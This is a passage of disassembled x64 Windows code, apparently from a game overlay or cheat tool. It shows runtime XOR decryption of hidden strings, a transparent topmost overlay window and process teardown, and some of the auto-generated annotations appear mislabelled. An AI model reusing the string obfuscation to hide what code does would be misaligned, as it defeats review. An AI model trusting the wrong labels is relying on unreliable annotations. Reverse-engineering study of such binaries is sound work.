movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004b290
cmp r8d, 0x14
jge 0x14004b3e0
movsxd rax, r8d
lea r9, [rsp + 0x868]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14004b3b0
lea rax, [rsp + 0x510]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0x868]
call fcn.140039970
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
jmp 0x14004b421
movss xmm7, dword [0x1400a2904]
cmp dword [0x140d4516c], 4
jne 0x14004b8f6
mov dword [rsp + 0x518], 0x42480000
mov dword [rsp + 0x51c], 0x43160000
lea rcx, [rsp + 0x518]
call fcn.140016d20
mov qword [rsp + 0x520], 0
mov eax, dword [0x1400a8294]
mov dword [rsp + 0xb8], eax
movzx eax, byte [0x1400a8298]
mov byte [rsp + 0xb8], 0x55
xor byte [rsp + 0xb9], 0x34
xor byte [rsp + 0xba], 0x35
xor byte [rsp + 0xbb], 0x36
xor al, 0x37
mov byte [rsp + 0xbc], al
cmp dword [0x140d45160], 3
sete cl
xor r9d, r9d
lea r8, [rsp + 0x520]
lea rdx, [rsp + 0xb8]
call fcn.140039b80
test al, al
je 0x14004b4ce
mov dword [0x140d45160], 3
mov dword [rsp + 0x528], 0x42f00000
mov dword [rsp + 0x52c], 0x43160000
lea rcx, [rsp + 0x528]
call fcn.140016d20
mov qword [rsp + 0x530], 0
mov eax, dword [str.vr6_A]
mov dword [rsp + 0x3d0], eax
cmp byte [0x1400a829f], 0
je 0x14004b5f0
cmp dword [0x140d3f110], 2
jl 0x14004b5a8
movdqa xmm3, xmmword [0x1400a66c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a84b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a84b0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.2222]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x3d0], xmm2
jmp 0x14004b5f0
lea r9, [rsp + 0x3d0]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004b5c0
cmp dword [0x140d45160], 4
sete cl
xor r9d, r9d
lea r8, [rsp + 0x530]
lea rdx, [rsp + 0x3d0]
call fcn.140039b80
test al, al
je 0x14004b624
mov dword [0x140d45160], 4
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Not_Working__HAVING_ISSUES_
lea rcx, [rsp + 0xe20]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a8454]
subss xmm0, xmm1
movss dword [rsp + 0x538], xmm0
mov dword [rsp + 0x53c], 0x433e0000
mov dword [rsp + 0x6f8], 0x3e9a9a9b
movss dword [rsp + 0x6fc], xmm9
movss dword [rsp + 0x700], xmm8
movss dword [rsp + 0x704], xmm8
lea rcx, [rsp + 0x6f8]
call fcn.1400082d0
mov r12d, eax
mov dword [rsp + 0x708], 0x3e9a9a9b
movss dword [rsp + 0x70c], xmm9
movss dword [rsp + 0x710], xmm8
movss dword [rsp + 0x714], xmm8
lea rcx, [rsp + 0x708]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a82a0]
movups xmmword [rsp + 0xb50], xmm0
movsd xmm0, qword [0x1400a82b0]
movsd qword [rsp + 0xb60], xmm0
mov ecx, dword [0x1400a82b8]
mov dword [rsp + 0xb68], ecx
cmp byte [0x1400a82bb], 0
je 0x14004b8b0
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x14004b869
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xb54]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004b760
cmp r8d, 0x1c
jge 0x14004b8b0
movsxd rax, r8d
lea r9, [rsp + 0xb50]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14004b880
lea rax, [rsp + 0x538]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm7
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0xb50]
call fcn.140039970
mov dword [rsp + 0x540], 0x42200000
mov dword [rsp + 0x544], 0x43960000
lea rcx, [rsp + 0x540]
call fcn.140016d20
mov r12d, 1
mov ecx, r12d
call fcn.140012b40
call fcn.140009150
call fcn.140009810
lea edx, [r12 - 0x15]
mov r8d, 0x80088
mov rcx, qword [rsp + 0x400]
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.1400133a0
mov qword [rsp + 0x1778], 0
mov dword [rsp + 0x1780], 0
movss xmm6, dword [rsp + 0x458]
movss dword [rsp + 0x1784], xmm6
mov rcx, qword [0x140d44f28]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140d44f38]
mov edx, r12d
call qword [rax + pe_nt_image_headers64]
mov rcx, qword [0x140d44f28]
mov rax, qword [rcx]
lea r8, [rsp + 0x1778]
mov rdx, qword [0x140d44f38]
call qword [rax + 0x190]
call fcn.14000b070
mov rcx, rax
call fcn.14002f520
mov rcx, qword [0x140d44f30]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r12d
call qword [rax + 0x40]
mov ecx, dword [rsp + 0x80]
jmp 0x14003fee4
mov byte [0x140d44f40], 0
call fcn.140030180
call fcn.140030730
xor ecx, ecx
call fcn.1400090d0
mov rcx, qword [0x140d44f38]
test rcx, rcx
je 0x14004b9f2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140d44f38], r13
mov rcx, qword [0x140d44f30]
test rcx, rcx
je 0x14004ba0f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140d44f30], r13
mov rcx, qword [0x140d44f28]
test rcx, rcx
je 0x14004ba2c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140d44f28], r13
mov rcx, qword [0x140d44f20]
test rcx, rcx
je 0x14004ba49
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140d44f20], r13
mov rcx, qword [rsp + 0x400]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rsp + 0x1618]
mov rcx, qword [rsp + 0x1640]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x1920]
xor rcx, rsp
call fcn.14009b030
lea r11, [rsp + 0x19d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret